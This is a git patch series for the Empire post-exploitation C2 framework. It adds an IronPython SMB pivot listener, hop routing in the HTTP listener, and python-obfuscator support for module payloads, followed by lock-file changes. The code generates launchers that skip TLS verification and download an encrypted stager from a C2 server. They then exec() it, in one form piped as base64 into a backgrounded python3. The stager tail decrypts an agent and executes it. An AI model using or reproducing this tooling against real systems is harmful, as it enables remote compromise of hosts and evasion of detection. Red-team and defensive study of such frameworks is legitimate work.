base64.b64encode(routingPacket).decode('UTF-8') +send_queue.Enqueue("2" + b64routingPacket) + +while receive_queue.Count == 0: + time.sleep(1) + +data = receive_queue.Peek() +print(data) +response = base64.b64decode(data) +receive_queue.Dequeue() +print(response) + +# decrypt the server's public key and the server nonce +packet = aes_decrypt_and_verify(stagingKey, response) +nonce = packet[0:16] +serverPub = int(packet[16:]) + +# calculate the shared secret +clientPub.genKey(serverPub) +key = clientPub.key + + +# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) +hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8')) + +# RC4 routing packet: +# sessionID = sessionID +# language = PYTHON (2) +# meta = STAGE2 (3) +# extra = 0 +# length = len(length) +routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) +b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') +send_queue.Enqueue("2" + b64routingPacket) + +while receive_queue.Count == 0: + time.sleep(1) + +data = receive_queue.Peek() +response = base64.b64decode(data) +receive_queue.Dequeue() + +# step 6 -> server sends HMAC(AES) +agent = aes_decrypt_and_verify(key, response) +agent = agent.replace('{{ working_hours }}', WorkingHours) +agent = agent.replace('{{ kill_date }}', KillDate) + +exec(agent) diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 109cfc0c9..5abbe67fd 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -854,7 +854,8 @@ def start_server(self, listenerOptions): WSGIRequestHandler.protocol_version = "HTTP/1.1" @app.route("/download//") - def send_stager(stager): + @app.route("/download//") + def send_stager(stager, hop=None): with SessionLocal.begin() as db: if stager == "ironpython": obfuscation_config = ( @@ -869,7 +870,7 @@ def send_stager(stager): if "powershell" == stager: launcher = self.mainMenu.stagers.generate_launcher( - listenerName=listenerName, + listenerName=hop or listenerName, language="powershell", encode=False, obfuscate=obfuscation, @@ -882,7 +883,7 @@ def send_stager(stager): elif "python" == stager: launcher = self.mainMenu.stagers.generate_launcher( - listenerName, + listenerName=hop or listenerName, language="python", encode=False, obfuscate=obfuscation, @@ -894,15 +895,23 @@ def send_stager(stager): return launcher elif "ironpython" == stager: - launcher = self.mainMenu.stagers.generate_launcher( - listenerName, - language="python", - encode=False, - obfuscate=obfuscation, - userAgent=userAgent, - proxy=proxy, - proxyCreds=proxyCreds, - ) + if hop: + options = copy.deepcopy(self.options) + options["Listener"] = {} + options["Listener"]["Value"] = hop + options["Language"] = {} + options["Language"]["Value"] = stager + launcher = self.mainMenu.stagers.generate_stageless(options) + else: + launcher = self.mainMenu.stagers.generate_launcher( + listenerName=hop or listenerName, + language="python", + encode=False, + obfuscate=obfuscation, + userAgent=userAgent, + proxy=proxy, + proxyCreds=proxyCreds, + ) directory = self.mainMenu.stagers.generate_python_exe( launcher, dot_net_version="net40", obfuscate=obfuscation @@ -913,7 +922,7 @@ def send_stager(stager): elif "csharp" == stager: filename = self.mainMenu.stagers.generate_launcher( - listenerName, + listenerName=hop or listenerName, language="csharp", encode=False, obfuscate=obfuscation, @@ -1039,20 +1048,40 @@ def handle_get(request_uri): self.instance_log.info(message) log.info(message) + # Check for hop listener + hopListenerName = request.headers.get("Hop-Name") + hopListener = self.mainMenu.listenersv2.get_active_listener_by_name( + hopListenerName + ) + with SessionLocal() as db: obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( db, language ) - stage = self.generate_stager( - language=language, - listenerOptions=listenerOptions, - obfuscate=False - if not obf_config - else obf_config.enabled, - obfuscation_command="" - if not obf_config - else obf_config.command, - ) + + if hopListener: + stage = hopListener.generate_stager( + language=language, + listenerOptions=hopListener.options, + obfuscate=False + if not obf_config + else obf_config.enabled, + obfuscation_command="" + if not obf_config + else obf_config.command, + ) + + else: + stage = self.generate_stager( + language=language, + listenerOptions=listenerOptions, + obfuscate=False + if not obf_config + else obf_config.enabled, + obfuscation_command="" + if not obf_config + else obf_config.command, + ) return make_response(stage, 200) elif results.startswith(b"ERROR:"): diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py new file mode 100755 index 000000000..60e1cd319 --- /dev/null +++ b/empire/server/listeners/smb.py @@ -0,0 +1,486 @@ +import base64 +import copy +import logging +import os +import random +from builtins import object, str +from typing import List, Optional, Tuple + +from empire.server.common import encryption, helpers, packets, templating +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal +from empire.server.utils import listener_util + +LOG_NAME_PREFIX = __name__ +log = logging.getLogger(__name__) + + +class Listener(object): + def __init__(self, mainMenu: MainMenu, params=[]): + self.info = { + "Name": "smb_pivot", + "Authors": [ + { + "Name": "Anthony Rose", + "Handle": "@Cx01N", + "Link": "https://twitter.com/Cx01N_", + } + ], + "Description": ("Internal redirector listener using SMB."), + "Category": ("peer_to_peer"), + "Comments": [], + "Software": "", + "Techniques": [], + "Tactics": [], + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + "Name": { + "Description": "Name for the listener.", + "Required": True, + "Value": "smb", + }, + "Agent": { + "Description": "Agent to run SMB server on.", + "Required": True, + "Value": "", + }, + "PipeName": { + "Description": "Name of the pipe.", + "Required": True, + "Value": "empire_pipe", + }, + } + + # required: + self.mainMenu = mainMenu + self.threads = {} # used to keep track of any threaded instances of this server + + self.instance_log = log + + def default_response(self): + """ + If there's a default response expected from the server that the client needs to ignore, + (i.e. a default HTTP page), put the generation here. + """ + self.instance_log.info("default_response() not implemented for pivot listeners") + return b"" + + def validate_options(self) -> Tuple[bool, Optional[str]]: + """ + Validate all options for this listener. + """ + return True, None + + def generate_launcher( + self, + encode=True, + obfuscate=False, + obfuscation_command="", + userAgent="default", + proxy="default", + proxyCreds="default", + stagerRetries="0", + language=None, + safeChecks="", + listenerName=None, + bypasses: List[str] = None, + ): + """ + Generate a basic launcher for the specified listener. + """ + bypasses = [] if bypasses is None else bypasses + + if not language: + log.error("listeners/template generate_launcher(): no language specified!") + return None + + if True: + active_listener = self + listenerOptions = active_listener.options + + host = listenerOptions["Host"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] + + if language.startswith("powershell"): + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + return None + + elif language in ["ironpython"]: + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p, exc_info=True) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += "import urllib.request;\n" + launcherBase += "UA='%s';" % (userAgent) + launcherBase += "server='%s';t='%s';hop='%s';" % ( + host, + stage0, + listenerName, + ) + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + + launcherBase += "req=urllib.request.Request(server+t);\n" + # add the RC4 packet to a cookie + launcherBase += "req.add_header('User-Agent',UA);\n" + launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( + b64RoutingPacket + ) + launcherBase += "req.add_header('Hop-Name', hop);\n" + + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) + launcherBase += 'req.add_header("%s","%s");\n' % ( + headerKey, + headerValue, + ) + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.Split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'});\n" + ) + + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += ( + "proxy_auth_handler.add_password(None,'" + + proxy + + "','" + + username + + "','" + + password + + "');\n" + ) + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" + + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" + + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(stagingKey) + + if encode: + launchEncoded = base64.b64encode( + launcherBase.encode("UTF-8") + ).decode("UTF-8") + launcher = ( + "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" + % launchEncoded + ) + return launcher + else: + return launcherBase + else: + log.error( + "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) + + def generate_stager( + self, + listenerOptions, + encode=False, + encrypt=True, + obfuscate=False, + obfuscation_command="", + language=None, + ): + """ + If you want to support staging for the listener module, generate_stager must be + implemented to return the stage1 key-negotiation stager code. + """ + if not language: + log.error("generate_stager(): no language specified!") + return None + + with SessionLocal() as db: + agent = self.mainMenu.agentsv2.get_by_name(db, self.parent_agent) + host = agent.internal_ip + + pipe_name = listenerOptions["PipeName"]["Value"] + listenerOptions["Name"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a.strip("/") for a in profile.split("|")[0].split(",")] + stagingKey = listenerOptions["StagingKey"]["Value"] + workingHours = listenerOptions["WorkingHours"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + + # select some random URIs for staging from the main profile + stage1 = random.choice(uris) + stage2 = random.choice(uris) + + if language.lower() == "powershell": + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + + elif language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + + eng = templating.TemplateEngine(template_path) + template = eng.get_template("smb/smb.py") + + template_options = { + "working_hours": workingHours, + "kill_date": killDate, + "staging_key": stagingKey, + "profile": profile, + "stage_1": stage1, + "stage_2": stage2, + "host": host, + "pipe_name": pipe_name, + } + stager = template.render(template_options) + + # base64 encode the stager and return it + if encode: + return base64.b64encode(stager) + if encrypt: + # return an encrypted version of the stager ("normal" staging) + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4( + RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8") + ) + else: + # otherwise return the standard stager + return stager + + else: + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + + def generate_agent( + self, + listenerOptions, + language=None, + obfuscate=False, + obfuscation_command="", + version="", + ): + """ + If you want to support staging for the listener module, generate_agent must be + implemented to return the actual staged agent code. + """ + if not language: + log.error("listeners/http generate_agent(): no language specified!") + return None + + language = language.lower() + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + workingHours = listenerOptions["WorkingHours"]["Value"] + b64DefaultResponse = self.b64DefaultResponse + + if language == "powershell": + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + + elif language == "python": + with open( + self.mainMenu.installPath + "/data/agent/ironpython_agent.py" + ) as f: + code = f.read() + + # strip out comments and blank lines + code = helpers.strip_python_comments(code) + + # patch in the delay, jitter, lost limit, and comms profile + code = code.replace("delay = 60", "delay = %s" % (delay)) + code = code.replace("jitter = 0.0", "jitter = %s" % (jitter)) + code = code.replace( + 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', + 'profile = "%s"' % (profile), + ) + code = code.replace("lostLimit = 60", "lostLimit = %s" % (lostLimit)) + code = code.replace( + 'defaultResponse = base64.b64decode("")', + "defaultResponse = base64.b64decode(%s)" % (b64DefaultResponse), + ) + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) + if workingHours != "": + code = code.replace( + 'workingHours = ""', 'workingHours = "%s"' % (killDate) + ) + + return code + else: + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + + def generate_comms(self, listenerOptions, language=None): + """ + Generate just the agent communication code block needed for communications with this listener. + This is so agents can easily be dynamically updated for the new listener. + + This should be implemented for the module. + """ + with SessionLocal() as db: + agent = self.mainMenu.agentsv2.get_by_name(db, self.parent_agent) + host = agent.internal_ip + + pipe_name = listenerOptions["PipeName"]["Value"] + + if language: + if language.lower() == "powershell": + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + + elif language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("smb/comms.py") + + template_options = { + "host": host, + "pipe_name": pipe_name, + } + + comms = template.render(template_options) + return comms + + else: + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + else: + log.error("generate_comms(): no language specified!") + + def start(self, name=""): + """ + If a server component needs to be started, implement the kick off logic + here and the actual server code in another function to facilitate threading + (i.e. start_server() in the http listener). + """ + try: + tempOptions = copy.deepcopy(self.options) + sessionID = self.mainMenu.agents.get_agent_id_db( + self.options["Agent"]["Value"] + ) + + if self.mainMenu.agents.is_agent_present(sessionID): + with SessionLocal.begin() as db: + agent = self.mainMenu.agentsv2.get_by_id( + db, self.options["Agent"]["Value"] + ) + self.mainMenu.agenttasksv2.create_task_smb( + db, agent, name + "|" + self.options["PipeName"]["Value"] + ) + self.parent_agent = agent.session_id + parent_listener_name = agent.listener + + log.info( + f"{self.options['Agent']['Value']}: SMB pivot server task request send to agent" + ) + + self.parent_listener = self.mainMenu.listenersv2.get_by_name( + db, parent_listener_name + ) + + if self.parent_listener: + if self.parent_listener.module in ["http", "smb"]: + self.options = copy.deepcopy(self.parent_listener.options) + self.options["Name"]["Value"] = name + self.options["Agent"] = tempOptions["Agent"] + self.options["PipeName"] = tempOptions["PipeName"] + + # If default response exists on a parent then use it, else grab it from the primary listener + active_listener = ( + self.mainMenu.listenersv2.get_active_listener_by_name( + self.parent_listener.name + ) + ) + try: + self.b64DefaultResponse = active_listener.b64DefaultResponse + except AttributeError: + self.b64DefaultResponse = base64.b64encode( + self.mainMenu.listenersv2.get_active_listener_by_name( + self.parent_listener.name + ) + .default_response() + .encode("UTF-8") + ) + return True + else: + log.error("Parent listener must be a http listener") + return False + else: + log.error("Parent listener not found") + return False + + except Exception: + return False + + def shutdown(self, name=""): + """ + If a server component was started, implement the logic that kills the particular + named listener here. + """ + pass diff --git a/empire/server/stagers/multi/launcher.py b/empire/server/stagers/multi/launcher.py index b9eb44446..086888983 100644 --- a/empire/server/stagers/multi/launcher.py +++ b/empire/server/stagers/multi/launcher.py @@ -121,14 +121,11 @@ def generate(self): invoke_obfuscation = True if language in ["csharp", "ironpython"]: - if ( - self.mainMenu.listenersv2.get_active_listener_by_name( - listener_name - ).info["Name"] - != "HTTP[S]" - ): + if self.mainMenu.listenersv2.get_active_listener_by_name( + listener_name + ).info["Name"] not in ["HTTP[S]", "smb_pivot"]: log.error( - "Only HTTP[S] listeners are supported for C# and IronPython stagers." + "Only HTTP[S] and smb_pivot listeners are supported for C# and IronPython stagers." ) return "" From 5ded56d9a7c9b9d198d7ef79a5135c8a3b19766f Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 7 Jun 2023 20:00:06 -0400 Subject: [PATCH 03/36] Added python-obfuscator (#628) * Added python-obfuscator * updated python obfuscate name * fixed module test for python with obfuscation off * updated pytest for python obfuscation --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 1 + empire/server/config.yaml | 5 + empire/server/core/module_service.py | 15 +- empire/server/core/obfuscation_service.py | 11 ++ empire/test/test_modules.py | 7 +- empire/test/test_obfuscation_api.py | 9 +- empire/test/test_server_config.yaml | 5 + poetry.lock | 221 +++++++++++----------- pyproject.toml | 1 + 9 files changed, 159 insertions(+), 116 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 001ec6d78..876f20a95 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Added python obfusscation using python-obfuscator (@Cx01N) - Added IronPython SMB Agents/Listener (@Cx01N) - Expand file options to plugins, stagers, and listeners (@Vinnybod) diff --git a/empire/server/config.yaml b/empire/server/config.yaml index a6ddcf2b8..974ecc8de 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -25,6 +25,11 @@ database: command: "" module: "confuser" preobfuscatable: false + - language: python + enabled: false + command: "" + module: "python-obfuscator" + preobfuscatable: false keyword_obfuscation: - Invoke-Empire - Invoke-Mimikatz diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index 090b446dc..8157d26bc 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -260,7 +260,7 @@ def _generate_script( obfuscation_command = obfuscation_config.command if module.advanced.custom_generate: - # In a future release we could refactor the modules to accept a obuscation_config, + # In a future release we could refactor the modules to accept an obuscation_config, # but there's little benefit to doing so at this point. So I'm saving myself the pain. try: return module.advanced.generate_class.generate( @@ -278,14 +278,18 @@ def _generate_script( # We don't have obfuscation for other languages yet, but when we do, # we can pass it in here. elif module.language == LanguageEnum.python: - return self._generate_script_python(module, params) + return self._generate_script_python(module, params, obfuscation_config) elif module.language == LanguageEnum.csharp: return self._generate_script_csharp(module, params, obfuscation_config) - @staticmethod def _generate_script_python( - module: EmpireModule, params: Dict + self, + module: EmpireModule, + params: Dict, + obfuscaton_config: models.ObfuscationConfig, ) -> Tuple[Optional[str], Optional[str]]: + obfuscate = obfuscaton_config.enabled + if module.script_path: script_path = os.path.join( empire_config.directories.module_source, @@ -302,6 +306,9 @@ def _generate_script_python( "{{" + key + "}}", value ) + if obfuscate: + script = self.obfuscation_service.python_obfuscate(script) + return script, None def _generate_script_powershell( diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index cfdcdb689..b874d3ba7 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -5,6 +5,8 @@ import tempfile from pathlib import Path +import python_obfuscator +from python_obfuscator.techniques import one_liner from sqlalchemy.orm import Session from empire.server.core.config import empire_config @@ -239,3 +241,12 @@ def _convert_obfuscation_command(self, obfuscate_command): return ( "".join(obfuscate_command.split()).replace(",", ",home,").replace("\\", ",") ) + + def python_obfuscate(self, module_source): + """ + Obfuscate Python scripts using python-obfuscator + """ + obfuscator = python_obfuscator.obfuscator() + obfuscated_code = obfuscator.obfuscate(module_source, [one_liner]) + + return obfuscated_code diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py index ce525d37d..bc92dea90 100644 --- a/empire/test/test_modules.py +++ b/empire/test/test_modules.py @@ -88,7 +88,7 @@ def agent(db, models, host): @pytest.fixture(scope="function") -def main_menu_mock(): +def main_menu_mock(models): main_menu = Mock() main_menu.installPath = "empire/server" @@ -97,6 +97,11 @@ def main_menu_mock(): main_menu.obfuscationv2.get_obfuscation_config = Mock( side_effect=lambda x, y: obf_conf_mock ) + main_menu.obfuscationv2.get_obfuscation_config = Mock( + return_value=models.ObfuscationConfig( + language="python", command="", enabled=False + ) + ) main_menu.obfuscationv2.obfuscate = Mock(side_effect=fake_obfuscate) main_menu.obfuscationv2.obfuscate_keywords = Mock(side_effect=lambda x: x) diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index d22e82775..cb49257f8 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -134,17 +134,18 @@ def test_get_obfuscation_configs(client, admin_auth_header): assert any(x["language"] == "powershell" for x in response.json()["records"]) assert any(x["language"] == "csharp" for x in response.json()["records"]) + assert any(x["language"] == "python" for x in response.json()["records"]) def test_get_obfuscation_config_not_found(client, admin_auth_header): response = client.get( - "/api/v2/obfuscation/global/python", headers=admin_auth_header + "/api/v2/obfuscation/global/madeup", headers=admin_auth_header ) assert response.status_code == 404 assert ( response.json()["detail"] - == "Obfuscation config not found for language python. Only powershell is supported." + == "Obfuscation config not found for language madeup. Only powershell is supported." ) @@ -162,7 +163,7 @@ def test_get_obfuscation_config(client, admin_auth_header): def test_update_obfuscation_config_not_found(client, admin_auth_header): response = client.put( - "/api/v2/obfuscation/global/python", + "/api/v2/obfuscation/global/madeup", headers=admin_auth_header, json={ "language": "powershell", @@ -175,7 +176,7 @@ def test_update_obfuscation_config_not_found(client, admin_auth_header): assert response.status_code == 404 assert ( response.json()["detail"] - == "Obfuscation config not found for language python. Only powershell is supported." + == "Obfuscation config not found for language madeup. Only powershell is supported." ) diff --git a/empire/test/test_server_config.yaml b/empire/test/test_server_config.yaml index d6b5b8a9d..287fdedb0 100644 --- a/empire/test/test_server_config.yaml +++ b/empire/test/test_server_config.yaml @@ -25,6 +25,11 @@ database: command: "" module: "confuser" preobfuscatable: false + - language: python + enabled: false + command: "" + module: "python-obfuscator" + preobfuscatable: false keyword_obfuscation: - Invoke-Empire - Invoke-Mimikatz diff --git a/poetry.lock b/poetry.lock index eac684c13..3df72bf54 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,10 +1,9 @@ -# This file is automatically @generated by Poetry 1.4.2 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand. [[package]] name = "aiofiles" version = "0.7.0" description = "File support for asyncio." -category = "main" optional = false python-versions = ">=3.6,<4.0" files = [ @@ -16,7 +15,6 @@ files = [ name = "altgraph" version = "0.17.3" description = "Python graph (network) package" -category = "main" optional = false python-versions = "*" files = [ @@ -28,7 +26,6 @@ files = [ name = "anyio" version = "3.6.2" description = "High level compatibility layer for multiple asynchronous event loop implementations" -category = "main" optional = false python-versions = ">=3.6.2" files = [ @@ -49,7 +46,6 @@ trio = ["trio (>=0.16,<0.22)"] name = "asgiref" version = "3.6.0" description = "ASGI specs, helper code, and adapters" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -64,7 +60,6 @@ tests = ["mypy (>=0.800)", "pytest", "pytest-asyncio"] name = "atomicwrites" version = "1.4.1" description = "Atomic file writes." -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" files = [ @@ -75,7 +70,6 @@ files = [ name = "attrs" version = "23.1.0" description = "Classes Without Boilerplate" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -94,7 +88,6 @@ tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pyte name = "automat" version = "22.10.0" description = "Self-service finite-state machines for the programmer on the go." -category = "main" optional = false python-versions = "*" files = [ @@ -113,7 +106,6 @@ visualize = ["Twisted (>=16.1.1)", "graphviz (>0.5.1)"] name = "bcrypt" version = "4.0.1" description = "Modern password hashing for your software and your servers" -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -148,7 +140,6 @@ typecheck = ["mypy"] name = "bidict" version = "0.22.1" description = "The bidirectional mapping library for Python." -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -165,7 +156,6 @@ test = ["hypothesis", "pytest", "pytest-benchmark[histogram]", "pytest-cov", "py name = "black" version = "23.3.0" description = "The uncompromising code formatter." -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -215,7 +205,6 @@ uvloop = ["uvloop (>=0.15.2)"] name = "blinker" version = "1.6.2" description = "Fast, simple object-to-object and broadcast signaling" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -227,7 +216,6 @@ files = [ name = "certifi" version = "2022.12.7" description = "Python package for providing Mozilla's CA Bundle." -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -239,7 +227,6 @@ files = [ name = "cffi" version = "1.15.1" description = "Foreign Function Interface for Python calling C code." -category = "main" optional = false python-versions = "*" files = [ @@ -316,7 +303,6 @@ pycparser = "*" name = "charset-normalizer" version = "3.1.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -category = "main" optional = false python-versions = ">=3.7.0" files = [ @@ -401,7 +387,6 @@ files = [ name = "click" version = "8.1.3" description = "Composable command line interface toolkit" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -416,7 +401,6 @@ colorama = {version = "*", markers = "platform_system == \"Windows\""} name = "colorama" version = "0.4.6" description = "Cross-platform colored terminal text." -category = "main" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" files = [ @@ -428,7 +412,6 @@ files = [ name = "constantly" version = "15.1.0" description = "Symbolic constants in Python" -category = "main" optional = false python-versions = "*" files = [ @@ -440,7 +423,6 @@ files = [ name = "cryptography" version = "37.0.4" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -483,7 +465,6 @@ test = ["hypothesis (>=1.11.4,!=3.79.2)", "iso8601", "pretend", "pytest (>=6.2.0 name = "docopt" version = "0.6.2" description = "Pythonic argument parser, that will make you smile" -category = "main" optional = false python-versions = "*" files = [ @@ -494,7 +475,6 @@ files = [ name = "donut-shellcode" version = "1.0.2" description = "Donut shellcode Python C extension" -category = "main" optional = false python-versions = ">=3.0" files = [ @@ -505,7 +485,6 @@ files = [ name = "dropbox" version = "11.36.0" description = "Official Dropbox API Client" -category = "main" optional = false python-versions = "*" files = [ @@ -523,7 +502,6 @@ stone = ">=2" name = "ecdsa" version = "0.18.0" description = "ECDSA cryptographic signature library (pure python)" -category = "main" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" files = [ @@ -542,7 +520,6 @@ gmpy2 = ["gmpy2"] name = "fastapi" version = "0.70.0" description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" -category = "main" optional = false python-versions = ">=3.6.1" files = [ @@ -564,7 +541,6 @@ test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==21.9b0)", "databases[sqlite] ( name = "flask" version = "2.3.1" description = "A simple framework for building complex web applications." -category = "main" optional = false python-versions = ">=3.8" files = [ @@ -588,7 +564,6 @@ dotenv = ["python-dotenv"] name = "greenlet" version = "2.0.2" description = "Lightweight in-process concurrent programming" -category = "main" optional = false python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*" files = [ @@ -662,7 +637,6 @@ test = ["objgraph", "psutil"] name = "h11" version = "0.14.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -674,7 +648,6 @@ files = [ name = "humanize" version = "3.14.0" description = "Python humanize utilities" -category = "main" optional = false python-versions = ">=3.6" files = [ @@ -689,7 +662,6 @@ tests = ["freezegun", "pytest", "pytest-cov"] name = "hyperlink" version = "21.0.0" description = "A featureful, immutable, and correct URL for Python." -category = "main" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" files = [ @@ -704,7 +676,6 @@ idna = ">=2.5" name = "idna" version = "3.4" description = "Internationalized Domain Names in Applications (IDNA)" -category = "main" optional = false python-versions = ">=3.5" files = [ @@ -716,7 +687,6 @@ files = [ name = "importlib-metadata" version = "6.6.0" description = "Read metadata from Python packages" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -736,7 +706,6 @@ testing = ["flake8 (<5)", "flufl.flake8", "importlib-resources (>=1.3)", "packag name = "incremental" version = "22.10.0" description = "\"A small library that versions your Python projects.\"" -category = "main" optional = false python-versions = "*" files = [ @@ -752,7 +721,6 @@ scripts = ["click (>=6.0)", "twisted (>=16.4.0)"] name = "iniconfig" version = "2.0.0" description = "brain-dead simple config-ini parsing" -category = "dev" optional = false python-versions = ">=3.7" files = [ @@ -764,7 +732,6 @@ files = [ name = "iptools" version = "0.7.0" description = "Python utilites for manipulating IPv4 and IPv6 addresses" -category = "main" optional = false python-versions = "*" files = [ @@ -779,7 +746,6 @@ testing = ["nose (>=1.0)"] name = "isort" version = "5.12.0" description = "A Python utility / library to sort Python imports." -category = "dev" optional = false python-versions = ">=3.8.0" files = [ @@ -797,7 +763,6 @@ requirements-deprecated-finder = ["pip-api", "pipreqs"] name = "itsdangerous" version = "2.1.2" description = "Safely pass data to untrusted environments and back." -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -809,7 +774,6 @@ files = [ name = "jinja2" version = "3.1.2" description = "A very fast and expressive template engine." -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -827,7 +791,6 @@ i18n = ["Babel (>=2.7)"] name = "jq" version = "1.4.1" description = "jq is a lightweight and flexible JSON processor." -category = "main" optional = false python-versions = ">=3.5" files = [ @@ -892,7 +855,6 @@ files = [ name = "macholib" version = "1.16.2" description = "Mach-O header analysis and editing" -category = "main" optional = false python-versions = "*" files = [ @@ -907,7 +869,6 @@ altgraph = ">=0.17" name = "markupsafe" version = "2.1.2" description = "Safely add untrusted strings to HTML/XML markup." 